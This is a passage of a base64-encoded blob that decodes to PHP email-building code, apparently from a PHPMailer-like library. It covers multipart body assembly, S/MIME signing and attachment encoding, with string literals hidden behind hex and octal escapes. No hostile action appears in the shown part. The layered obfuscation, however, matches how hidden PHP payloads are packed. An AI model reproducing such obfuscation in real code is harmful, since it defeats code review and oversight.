5LCAkYm9keUVuY29kaW5nKTsgJGJvZHkgLj0gc3RhdGljOjokTEU7ICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoIlx4NjlcMTU2XHg2Y1wxNTFcMTU2XHg2NSIsICR0aGlzLT5ib3VuZGFyeVsyXSk7ICRib2R5IC49IHN0YXRpYzo6JExFOyAkYm9keSAuPSAkdGhpcy0+YXR0YWNoQWxsKCJcMTQxXDE2NFwxNjRcMTQxXHg2M1wxNTBceDZkXHg2NVx4NmVcMTY0IiwgJHRoaXMtPmJvdW5kYXJ5WzFdKTsgYnJlYWs7IGNhc2UgIlx4NjFcMTU0XHg3NCI6ICRib2R5IC49ICRtaW1lcHJlOyAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdLCAkYWx0Qm9keUNoYXJTZXQsIHN0YXRpYzo6Q09OVEVOVF9UWVBFX1BMQUlOVEVYVCwgJGFsdEJvZHlFbmNvZGluZyk7ICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOyAkYm9keSAuPSBzdGF0aWM6OiRMRTsgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCBzdGF0aWM6OkNPTlRFTlRfVFlQRV9URVhUX0hUTUwsICRib2R5RW5jb2RpbmcpOyAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsgJGJvZHkgLj0gc3RhdGljOjokTEU7IGlmICghZW1wdHkoJHRoaXMtPkljYWwpKSB7ICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0sICcnLCBzdGF0aWM6OkNPTlRFTlRfVFlQRV9URVhUX0NBTEVOREFSIC4gIlx4M2JcNDBceDZkXHg2NVx4NzRceDY4XDE1N1wxNDRcNzVcMTIyXHg0NVwxMjFcMTI1XHg0NVx4NTNceDU0IiwgJycpOyAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5JY2FsLCAkdGhpcy0+RW5jb2RpbmcpOyAkYm9keSAuPSBzdGF0aWM6OiRMRTsgfSAkYm9keSAuPSAkdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdKTsgYnJlYWs7IGNhc2UgIlx4NjFcMTU0XHg3NFx4NWZcMTUxXHg2ZVx4NmNceDY5XHg2ZVwxNDUiOiAkYm9keSAuPSAkbWltZXByZTsgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGFsdEJvZHlDaGFyU2V0LCBzdGF0aWM6OkNPTlRFTlRfVFlQRV9QTEFJTlRFWFQsICRhbHRCb2R5RW5jb2RpbmcpOyAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkYWx0Qm9keUVuY29kaW5nKTsgJGJvZHkgLj0gc3RhdGljOjokTEU7ICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgiXHgyZFx4MmQiIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsgJGJvZHkgLj0gJHRoaXMtPmhlYWRlckxpbmUoIlwxMDNceDZmXDE1NlwxNjRceDY1XHg2ZVwxNjRceDJkXHg1NFx4NzlcMTYwXDE0NSIsIHN0YXRpYzo6Q09OVEVOVF9UWVBFX01VTFRJUEFSVF9SRUxBVEVEIC4gIlx4M2IiKTsgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcMTFceDYyXDE1N1x4NzVcMTU2XHg2NFx4NjFceDcyXHg3OVw3NVw0MiIgLiAkdGhpcy0+Ym91bmRhcnlbMl0gLiAiXHgyMiIpOyAkYm9keSAuPSBzdGF0aWM6OiRMRTsgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsyXSwgJGJvZHlDaGFyU2V0LCBzdGF0aWM6OkNPTlRFTlRfVFlQRV9URVhUX0hUTUwsICRib2R5RW5jb2RpbmcpOyAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsgJGJvZHkgLj0gc3RhdGljOjokTEU7ICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoIlx4NjlcMTU2XDE1NFwxNTFcMTU2XDE0NSIsICR0aGlzLT5ib3VuZGFyeVsyXSk7ICRib2R5IC49IHN0YXRpYzo6JExFOyAkYm9keSAuPSAkdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdKTsgYnJlYWs7IGNhc2UgIlwxNDFcMTU0XHg3NFwxMzdcMTQxXHg3NFx4NzRcMTQxXDE0M1wxNTAiOiAkYm9keSAuPSAkbWltZXByZTsgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJceDJkXDU1IiAuICR0aGlzLT5ib3VuZGFyeVsxXSk7ICRib2R5IC49ICR0aGlzLT5oZWFkZXJMaW5lKCJcMTAzXDE1N1x4NmVcMTY0XHg2NVx4NmVcMTY0XHgyZFwxMjRceDc5XHg3MFwxNDUiLCBzdGF0aWM6OkNPTlRFTlRfVFlQRV9NVUxUSVBBUlRfQUxURVJOQVRJVkUgLiAiXHgzYiIpOyAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlwxMVx4NjJceDZmXHg3NVx4NmVcMTQ0XHg2MVx4NzJcMTcxXDc1XDQyIiAuICR0aGlzLT5ib3VuZGFyeVsyXSAuICJceDIyIik7ICRib2R5IC49IHN0YXRpYzo6JExFOyAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCAkYWx0Qm9keUNoYXJTZXQsIHN0YXRpYzo6Q09OVEVOVF9UWVBFX1BMQUlOVEVYVCwgJGFsdEJvZHlFbmNvZGluZyk7ICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOyAkYm9keSAuPSBzdGF0aWM6OiRMRTsgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsyXSwgJGJvZHlDaGFyU2V0LCBzdGF0aWM6OkNPTlRFTlRfVFlQRV9URVhUX0hUTUwsICRib2R5RW5jb2RpbmcpOyAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsgJGJvZHkgLj0gc3RhdGljOjokTEU7IGlmICghZW1wdHkoJHRoaXMtPkljYWwpKSB7ICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICcnLCBzdGF0aWM6OkNPTlRFTlRfVFlQRV9URVhUX0NBTEVOREFSIC4gIlw3M1w0MFx4NmRcMTQ1XDE2NFx4NjhceDZmXHg2NFx4M2RcMTIyXHg0NVx4NTFcMTI1XHg0NVx4NTNcMTI0IiwgJycpOyAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5JY2FsLCAkdGhpcy0+RW5jb2RpbmcpOyB9ICRib2R5IC49ICR0aGlzLT5lbmRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0pOyAkYm9keSAuPSBzdGF0aWM6OiRMRTsgJGJvZHkgLj0gJHRoaXMtPmF0dGFjaEFsbCgiXHg2MVx4NzRcMTY0XDE0MVx4NjNceDY4XDE1NVx4NjVceDZlXDE2NCIsICR0aGlzLT5ib3VuZGFyeVsxXSk7IGJyZWFrOyBjYXNlICJcMTQxXHg2Y1wxNjRceDVmXDE1MVx4NmVcMTU0XHg2OVx4NmVcMTQ1XHg1Zlx4NjFceDc0XHg3NFwxNDFceDYzXHg2OCI6ICRib2R5IC49ICRtaW1lcHJlOyAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx4MmRcNTUiIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsgJGJvZHkgLj0gJHRoaXMtPmhlYWRlckxpbmUoIlwxMDNcMTU3XHg2ZVwxNjRceDY1XDE1NlwxNjRceDJkXHg1NFwxNzFcMTYwXHg2NSIsIHN0YXRpYzo6Q09OVEVOVF9UWVBFX01VTFRJUEFSVF9BTFRFUk5BVElWRSAuICJceDNiIik7ICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgiXDExXHg2Mlx4NmZcMTY1XHg2ZVwxNDRcMTQxXDE2Mlx4NzlceDNkXHgyMiIgLiAkdGhpcy0+Ym91bmRhcnlbMl0gLiAiXDQyIik7ICRib2R5IC49IHN0YXRpYzo6JExFOyAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCAkYWx0Qm9keUNoYXJTZXQsIHN0YXRpYzo6Q09OVEVOVF9UWVBFX1BMQUlOVEVYVCwgJGFsdEJvZHlFbmNvZGluZyk7ICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOyAkYm9keSAuPSBzdGF0aWM6OiRMRTsgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcNTVcNTUiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdKTsgJGJvZHkgLj0gJHRoaXMtPmhlYWRlckxpbmUoIlx4NDNceDZmXHg2ZVx4NzRceDY1XDE1NlwxNjRcNTVceDU0XDE3MVx4NzBcMTQ1Iiwgc3RhdGljOjpDT05URU5UX1RZUEVfTVVMVElQQVJUX1JFTEFURUQgLiAiXHgzYiIpOyAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx4OVx4NjJceDZmXHg3NVwxNTZceDY0XDE0MVwxNjJcMTcxXHgzZFw0MiIgLiAkdGhpcy0+Ym91bmRhcnlbM10gLiAiXDQyIik7ICRib2R5IC49IHN0YXRpYzo6JExFOyAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzNdLCAkYm9keUNoYXJTZXQsIHN0YXRpYzo6Q09OVEVOVF9UWVBFX1RFWFRfSFRNTCwgJGJvZHlFbmNvZGluZyk7ICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICRib2R5RW5jb2RpbmcpOyAkYm9keSAuPSBzdGF0aWM6OiRMRTsgJGJvZHkgLj0gJHRoaXMtPmF0dGFjaEFsbCgiXDE1MVwxNTZceDZjXDE1MVwxNTZcMTQ1IiwgJHRoaXMtPmJvdW5kYXJ5WzNdKTsgJGJvZHkgLj0gc3RhdGljOjokTEU7ICRib2R5IC49ICR0aGlzLT5lbmRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0pOyAkYm9keSAuPSBzdGF0aWM6OiRMRTsgJGJvZHkgLj0gJHRoaXMtPmF0dGFjaEFsbCgiXHg2MVwxNjRcMTY0XDE0MVx4NjNcMTUwXDE1NVx4NjVcMTU2XHg3NCIsICR0aGlzLT5ib3VuZGFyeVsxXSk7IGJyZWFrOyBkZWZhdWx0OiAkdGhpcy0+RW5jb2RpbmcgPSAkYm9keUVuY29kaW5nOyAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkdGhpcy0+RW5jb2RpbmcpOyBicmVhazsgfSBpZiAoJHRoaXMtPmlzRXJyb3IoKSkgeyAkYm9keSA9ICcnOyBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsgdGhyb3cgbmV3IEV4Y2VwdGlvbigkdGhpcy0+bGFuZygiXHg2NVx4NmRcMTYwXDE2NFx4NzlceDVmXDE1NVwxNDVceDczXHg3M1wxNDFceDY3XHg2NSIpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsgfSB9IGVsc2VpZiAoJHRoaXMtPnNpZ25fa2V5X2ZpbGUpIHsgdHJ5IHsgaWYgKCFkZWZpbmVkKCJceDUwXDExM1x4NDNcMTIzXDY3XDEzN1wxMjRcMTA1XHg1OFx4NTQiKSkgeyB0aHJvdyBuZXcgRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCJcMTQ1XDE3MFwxNjRceDY1XHg2ZVwxNjNceDY5XHg2ZlwxNTZcMTM3XDE1NVx4NjlceDczXDE2M1x4NjlcMTU2XDE0NyIpIC4gIlx4NmZcMTYwXDE0NVx4NmVceDczXDE2M1wxNTQiKTsgfSAkZmlsZSA9IGZvcGVuKCJcMTYwXDE1MFwxNjBcNzJcNTdceDJmXDE2NFwxNDVcMTU1XHg3MCIsICJcMTYyXDE0Mlx4MmIiKTsgJHNpZ25lZCA9IGZvcGVuKCJceDcwXHg2OFwxNjBcNzJceDJmXHgyZlx4NzRceDY1XHg2ZFx4NzAiLCAiXHg3Mlx4NjJcNTMiKTsgZndyaXRlKCRmaWxlLCAkYm9keSk7IGlmIChlbXB0eSgkdGhpcy0+c2lnbl9leHRyYWNlcnRzX2ZpbGUpKSB7ICRzaWduID0gQG9wZW5zc2xfcGtjczdfc2lnbigkZmlsZSwgJHNpZ25lZCwgIlwxNDZcMTUxXDE1NFx4NjVceDNhXDU3XDU3IiAuIHJlYWxwYXRoKCR0aGlzLT5zaWduX2NlcnRfZmlsZSksIGFycmF5KCJceDY2XDE1MVwxNTRcMTQ1XDcyXDU3XHgyZiIgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9rZXlfZmlsZSksICR0aGlzLT5zaWduX2tleV9wYXNzKSwgYXJyYXkoKSk7IH0gZWxzZSB7ICRzaWduID0gQG9wZW5zc2xfcGtjczdfc2lnbigkZmlsZSwgJHNpZ25lZCwgIlwxNDZcMTUxXDE1NFwxNDVcNzJcNTdceDJmIiAuIHJlYWxwYXRoKCR0aGlzLT5zaWduX2NlcnRfZmlsZSksIGFycmF5KCJceDY2XDE1MVx4NmNceDY1XDcyXHgyZlw1NyIgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9rZXlfZmlsZSksICR0aGlzLT5zaWduX2tleV9wYXNzKSwgYXJyYXkoKSwgUEtDUzdfREVUQUNIRUQsICR0aGlzLT5zaWduX2V4dHJhY2VydHNfZmlsZSk7IH0gZmNsb3NlKCRmaWxlKTsgaWYgKCRzaWduKSB7ICRib2R5ID0gZmlsZV9nZXRfY29udGVudHMoJHNpZ25lZCk7IGZjbG9zZSgkc2lnbmVkKTsgJHBhcnRzID0gZXhwbG9kZSgiXHhhXHhhIiwgJGJvZHksIDIpOyAkdGhpcy0+TUlNRUhlYWRlciAuPSAkcGFydHNbMF0gLiBzdGF0aWM6OiRMRSAuIHN0YXRpYzo6JExFOyAkYm9keSA9ICRwYXJ0c1sxXTsgfSBlbHNlIHsgZmNsb3NlKCRzaWduZWQpOyB0aHJvdyBuZXcgRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCJcMTYzXDE1MVwxNDdceDZlXHg2OVwxNTZcMTQ3IikgLiBvcGVuc3NsX2Vycm9yX3N0cmluZygpKTsgfSB9IGNhdGNoIChFeGNlcHRpb24gJGV4YykgeyAkYm9keSA9ICcnOyBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsgdGhyb3cgJGV4YzsgfSB9IH0gcmV0dXJuICRib2R5OyB9IHByb3RlY3RlZCBmdW5jdGlvbiBnZXRCb3VuZGFyeSgkYm91bmRhcnksICRjaGFyU2V0LCAkY29udGVudFR5cGUsICRlbmNvZGluZykgeyAkcmVzdWx0ID0gJyc7IGlmICgnJyA9PSAkY2hhclNldCkgeyAkY2hhclNldCA9ICR0aGlzLT5DaGFyU2V0OyB9IGlmICgnJyA9PSAkY29udGVudFR5cGUpIHsgJGNvbnRlbnRUeXBlID0gJHRoaXMtPkNvbnRlbnRUeXBlOyB9IGlmICgnJyA9PSAkZW5jb2RpbmcpIHsgJGVuY29kaW5nID0gJHRoaXMtPkVuY29kaW5nOyB9ICRyZXN1bHQgLj0gJHRoaXMtPnRleHRMaW5lKCJcNTVcNTUiIC4gJGJvdW5kYXJ5KTsgJHJlc3VsdCAuPSBzcHJpbnRmKCJceDQzXHg2Zlx4NmVceDc0XHg2NVx4NmVcMTY0XDU1XHg1NFx4NzlceDcwXHg2NVw3Mlx4MjBcNDVcMTYzXHgzYlw0MFx4NjNcMTUwXHg2MVwxNjJcMTYzXHg2NVwxNjRceDNkXDQ1XDE2MyIsICRjb250ZW50VHlwZSwgJGNoYXJTZXQpOyAkcmVzdWx0IC49IHN0YXRpYzo6JExFOyBpZiAoc3RhdGljOjpFTkNPRElOR183QklUICE9ICRlbmNvZGluZykgeyAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCJceDQzXHg2ZlwxNTZcMTY0XDE0NVx4NmVceDc0XHgyZFx4NTRcMTYyXDE0MVwxNTZcMTYzXHg2NlwxNDVceDcyXDU1XHg0NVwxNTZcMTQzXHg2Zlx4NjRceDY5XHg2ZVx4NjciLCAkZW5jb2RpbmcpOyB9ICRyZXN1bHQgLj0gc3RhdGljOjokTEU7IHJldHVybiAkcmVzdWx0OyB9IHByb3RlY3RlZCBmdW5jdGlvbiBlbmRCb3VuZGFyeSgkYm91bmRhcnkpIHsgcmV0dXJuIHN0YXRpYzo6JExFIC4gIlx4MmRceDJkIiAuICRib3VuZGFyeSAuICJceDJkXDU1IiAuIHN0YXRpYzo6JExFOyB9IHByb3RlY3RlZCBmdW5jdGlvbiBzZXRNZXNzYWdlVHlwZSgpIHsgJHR5cGUgPSBhcnJheSgpOyBpZiAoJHRoaXMtPmFsdGVybmF0aXZlRXhpc3RzKCkpIHsgJHR5cGVbXSA9ICJceDYxXDE1NFx4NzQiOyB9IGlmICgkdGhpcy0+aW5saW5lSW1hZ2VFeGlzdHMoKSkgeyAkdHlwZVtdID0gIlwxNTFceDZlXDE1NFwxNTFcMTU2XHg2NSI7IH0gaWYgKCR0aGlzLT5hdHRhY2htZW50RXhpc3RzKCkpIHsgJHR5cGVbXSA9ICJcMTQxXDE2NFwxNjRceDYxXDE0M1wxNTAiOyB9ICR0aGlzLT5tZXNzYWdlX3R5cGUgPSBpbXBsb2RlKCJceDVmIiwgJHR5cGUpOyBpZiAoJycgPT0gJHRoaXMtPm1lc3NhZ2VfdHlwZSkgeyAkdGhpcy0+bWVzc2FnZV90eXBlID0gIlx4NzBcMTU0XHg2MVx4NjlceDZlIjsgfSB9IHB1YmxpYyBmdW5jdGlvbiBoZWFkZXJMaW5lKCRuYW1lLCAkdmFsdWUpIHsgcmV0dXJuICRuYW1lIC4gIlx4M2FcNDAiIC4gJHZhbHVlIC4gc3RhdGljOjokTEU7IH0gcHVibGljIGZ1bmN0aW9uIHRleHRMaW5lKCR2YWx1ZSkgeyByZXR1cm4gJHZhbHVlIC4gc3RhdGljOjokTEU7IH0gcHVibGljIGZ1bmN0aW9uIGFkZEF0dGFjaG1lbnQoJHBhdGgsICRuYW1lID0gJycsICRlbmNvZGluZyA9IHNlbGY6OkVOQ09ESU5HX0JBU0U2NCwgJHR5cGUgPSAnJywgJGRpc3Bvc2l0aW9uID0gIlx4NjFceDc0XDE2NFx4NjFcMTQzXHg2OFwxNTVceDY1XDE1NlwxNjQiKSB7IHRyeSB7IGlmICghc3RhdGljOjppc1Blcm1pdHRlZFBhdGgoJHBhdGgpIHx8ICFAaXNfZmlsZSgkcGF0aCkpIHsgdGhyb3cgbmV3IEV4Y2VwdGlvbigkdGhpcy0+bGFuZygiXDE0NlwxNTFceDZjXHg2NVx4NWZceDYxXDE0M1wxNDNceDY1XHg3M1wxNjMiKSAuICRwYXRoLCBzZWxmOjpTVE9QX0NPTlRJTlVFKTsgfSBpZiAoJycgPT0gJHR5cGUpIHsgJHR5cGUgPSBzdGF0aWM6OmZpbGVuYW1lVG9UeXBlKCRwYXRoKTsgfSAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkcGF0aCk7IGlmICgnJyA9PSAkbmFtZSkgeyAkbmFtZSA9ICRmaWxlbmFtZTsgfSAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoMCA9PiAkcGF0aCwgMSA9PiAkZmlsZW5hbWUsIDIgPT4gJG5hbWUsIDMgPT4gJGVuY29kaW5nLCA0ID0+ICR0eXBlLCA1ID0+IGZhbHNlLCA2ID0+ICRkaXNwb3NpdGlvbiwgNyA9PiAkbmFtZSk7IH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZXhjKSB7ICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOyAkdGhpcy0+ZWRlYnVnKCRleGMtPmdldE1lc3NhZ2UoKSk7IGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgeyB0aHJvdyAkZXhjOyB9IHJldHVybiBmYWxzZTsgfSByZXR1cm4gdHJ1ZTsgfSBwdWJsaWMgZnVuY3Rpb24gZ2V0QXR0YWNobWVudHMoKSB7IHJldHVybiAkdGhpcy0+YXR0YWNobWVudDsgfSBwcm90ZWN0ZWQgZnVuY3Rpb24gYXR0YWNoQWxsKCRkaXNwb3NpdGlvbl90eXBlLCAkYm91bmRhcnkpIHsgJG1pbWUgPSBhcnJheSgpOyAkY2lkVW5pcSA9IGFycmF5KCk7ICRpbmNsID0gYXJyYXkoKTsgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsgaWYgKCRhdHRhY2htZW50WzZdID09ICRkaXNwb3NpdGlvbl90eXBlKSB7ICRzdHJpbmcgPSAnJzsgJHBhdGggPSAnJzsgJGJTdHJpbmcgPSAkYXR0YWNobWVudFs1XTsgaWYgKCRiU3RyaW5nKSB7ICRzdHJpbmcgPSAkYXR0YWNobWVudFswXTsgfSBlbHNlIHsgJHBhdGggPSAkYXR0YWNobWVudFswXTsgfSAkaW5jbGhhc2ggPSBoYXNoKCJceDczXDE1MFwxNDFceDMyXHgzNVx4MzYiLCBzZXJpYWxpemUoJGF0dGFjaG1lbnQpKTsgaWYgKGluX2FycmF5KCRpbmNsaGFzaCwgJGluY2wpKSB7IGNvbnRpbnVlOyB9ICRpbmNsW10gPSAkaW5jbGhhc2g7ICRuYW1lID0gJGF0dGFjaG1lbnRbMl07ICRlbmNvZGluZyA9ICRhdHRhY2htZW50WzNdOyAkdHlwZSA9ICRhdHRhY2htZW50WzRdOyAkZGlzcG9zaXRpb24gPSAkYXR0YWNobWVudFs2XTsgJGNpZCA9ICRhdHRhY2htZW50WzddOyBpZiAoIlx4NjlceDZlXHg2Y1x4NjlceDZlXDE0NSIgPT0gJGRpc3Bvc2l0aW9uIGFuZCBhcnJheV9rZXlfZXhpc3RzKCRjaWQsICRjaWRVbmlxKSkgeyBjb250aW51ZTsgfSAkY2lkVW5pcVskY2lkXSA9IHRydWU7ICRtaW1lW10gPSBzcHJpbnRmKCJceDJkXDU1XHgyNVx4NzNcNDVceDczIiwgJGJvdW5kYXJ5LCBzdGF0aWM6OiRMRSk7IGlmICghZW1wdHkoJG5hbWUpKSB7ICRtaW1lW10gPSBzcHJpbnRmKCJcMTAzXDE1N1x4NmVceDc0XDE0NVx4NmVceDc0XDU1XHg1NFwxNzFcMTYwXHg2NVx4M2FceDIwXHgyNVwxNjNceDNiXDQwXDE1NlwxNDFcMTU1XHg2NVw3NVx4MjJceDI1XHg3M1w0Mlx4MjVcMTYzIiwgJHR5cGUsICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcigkbmFtZSkpLCBzdGF0aWM6OiRMRSk7IH0gZWxzZSB7ICRtaW1lW10gPSBzcHJpbnRmKCJceDQzXDE1N1x4NmVceDc0XHg2NVx4NmVcMTY0XHgyZFwxMjRcMTcxXHg3MFwxNDVceDNhXDQwXHgyNVx4NzNceDI1XDE2MyIsICR0eXBlLCBzdGF0aWM6OiRMRSk7IH0gaWYgKHN0YXRpYzo6RU5DT0RJTkdfN0JJVCAhPSAkZW5jb2RpbmcpIHsgJG1pbWVbXSA9IHNwcmludGYoIlx4NDNceDZmXDE1NlwxNjRcMTQ1XDE1NlwxNjRcNTVceDU0XDE2Mlx4NjFceDZlXHg3M1wxNDZceDY1XDE2Mlx4MmRcMTA1XDE1Nlx4NjNcMTU3XDE0NFx4NjlcMTU2XHg2N1w3Mlw0MFw0NVwxNjNcNDVceDczIiwgJGVuY29kaW5nLCBzdGF0aWM6OiRMRSk7IH0gaWYgKCFlbXB0eSgkY2lkKSkgeyAkbWltZVtdID0gc3ByaW50ZigiXHg0M1wxNTdceDZlXDE2NFwxNDVceDZlXHg3NFw1NVwxMTFceDQ0XDcyXHgyMFw3NFx4MjVceDczXDc2XDQ1XDE2MyIsICRjaWQsIHN0YXRpYzo6JExFKTsgfSBpZiAoIWVtcHR5KCRkaXNwb3NpdGlvbikpIHsgJGVuY29kZWRfbmFtZSA9ICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcigkbmFtZSkpOyBpZiAocHJlZ19tYXRjaCgiXDU3XDEzM1x4MjBcMTM0XDUwXDEzNFx4MjlceDNjXDc2XHg0MFx4MmNceDNiXHgzYVwxMzRcNDJcMTM0XHgyZlwxMzRceDViXDEzNFwxMzVcMTM0XDc3XHgzZFwxMzVcNTciLCAkZW5jb2RlZF9uYW1lKSkgeyAkbWltZVtdID0gc3ByaW50ZigiXDEwM1wxNTdceDZlXHg3NFx4NjVceDZlXHg3NFx4MmRceDQ0XDE1MVwxNjNceDcwXHg2ZlwxNjNceDY5XHg3NFwxNTFceDZmXDE1Nlx4M2FceDIwXHgyNVx4NzNceDNiXHgyMFwxNDZceDY5XHg2Y1wxNDVcMTU2XDE0MVwxNTVceDY1XDc1XHgyMlw0NVwxNjNceDIyXHgyNVwxNjMiLCAkZGlzcG9zaXRpb24sICRlbmNvZGVkX25hbWUsIHN0YXRpYzo6JExFIC4gc3RhdGljOjokTEUpOyB9IGVsc2UgeyBpZiAoIWVtcHR5KCRlbmNvZGVkX25hbWUpKSB7ICRtaW1lW10gPSBzcHJpbnRmKCJceDQzXDE1N1x4NmVceDc0XDE0NVx4NmVcMTY0XDU1XHg0NFx4NjlceDczXHg3MFx4NmZceDczXDE1MVwxNjRceDY5XDE1N1x4NmVceDNhXDQwXDQ1XHg3M1w3M1x4MjBcMTQ2XHg2OVx4NmNcMTQ1XDE1NlwxNDFcMTU1XHg2NVx4M2RcNDVcMTYzXHgyNVwxNjMiLCAkZGlzcG9zaXRpb24sICRlbmNvZGVkX25hbWUsIHN0YXRpYzo6JExFIC4gc3RhdGljOjokTEUpOyB9IGVsc2UgeyAkbWltZVtdID0gc3ByaW50ZigiXDEwM1x4NmZcMTU2XDE2NFx4NjVceDZlXDE2NFw1NVwxMDRceDY5XDE2M1x4NzBcMTU3XDE2M1wxNTFceDc0XHg2OVwxNTdceDZlXDcyXHgyMFx4MjVceDczXDQ1XDE2MyIsICRkaXNwb3NpdGlvbiwgc3RhdGljOjokTEUgLiBzdGF0aWM6OiRMRSk7IH0gfSB9IGVsc2UgeyAkbWltZVtdID0gc3RhdGljOjokTEU7IH0gaWYgKCRiU3RyaW5nKSB7ICRtaW1lW10gPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCRzdHJpbmcsICRlbmNvZGluZyk7IH0gZWxzZSB7ICRtaW1lW10gPSAkdGhpcy0+ZW5jb2RlRmlsZSgkcGF0aCwgJGVuY29kaW5nKTsgfSBpZiAoJHRoaXMtPmlzRXJyb3IoKSkgeyByZXR1cm4gJyc7IH0gJG1pbWVbXSA9IHN0YXRpYzo6JExFOyB9IH0gJG1pbWVbXSA9IHNwcmludGYoIlw1NVx4MmRceDI1XHg3M1x4MmRceDJkXHgyNVwxNjMiLCAkYm91bmRhcnksIHN0YXRpYzo6JExFKTsgcmV0dXJuIGltcGxvZGUoJycsICRtaW1lKTsgfSBwcm90ZWN0ZWQgZnVuY3Rpb24gZW5jb2RlRmlsZSgkcGF0aCwgJGVuY29kaW5nID0gc2VsZjo6RU5DT0RJTkdfQkFTRTY0KSB7IHRyeSB7IGlmICghc3RhdGljOjppc1Blcm1pdHRlZFBhdGgoJHBhdGgpIHx8ICFmaWxlX2V4aXN0cygkcGF0aCkpIHsgdGhyb3cgbmV3IEV4Y2VwdGlvbigkdGhpcy0+bGFuZygiXDE0NlwxNTFceDZjXDE0NVx4NWZcMTU3XDE2MFwxNDVceDZlIikgLiAkcGF0aCwgc2VsZjo6U1RPUF9DT05USU5VRSk7IH0gJGZpbGVfYnVmZmVyID0gZmlsZV9nZXRfY29udGVudHMoJHBhdGgpOyBpZiAoZmFsc2UgPT09ICRmaWxlX2J1ZmZlcikgeyB0aHJvdyBuZXcgRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCJcMTQ2XDE1MVwxNTRcMTQ1XHg1ZlwxNTdcMTYwXHg2NVwxNTYiKSAuICRwYXRoLCBzZWxmOjpTVE9QX0NPTlRJTlVFKTsgfSAkZmlsZV9idWZmZXIgPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCRmaWxlX2J1ZmZlciwgJGVuY29kaW5nKTsgcmV0dXJuICRmaWxlX2J1ZmZlcjsgfSBjYXRjaCAoRXhjZXB0aW9uICRleGMpIHsgJHRoaXMtPnNldEVycm9yKCRleGMtPmdldE1lc3NhZ2U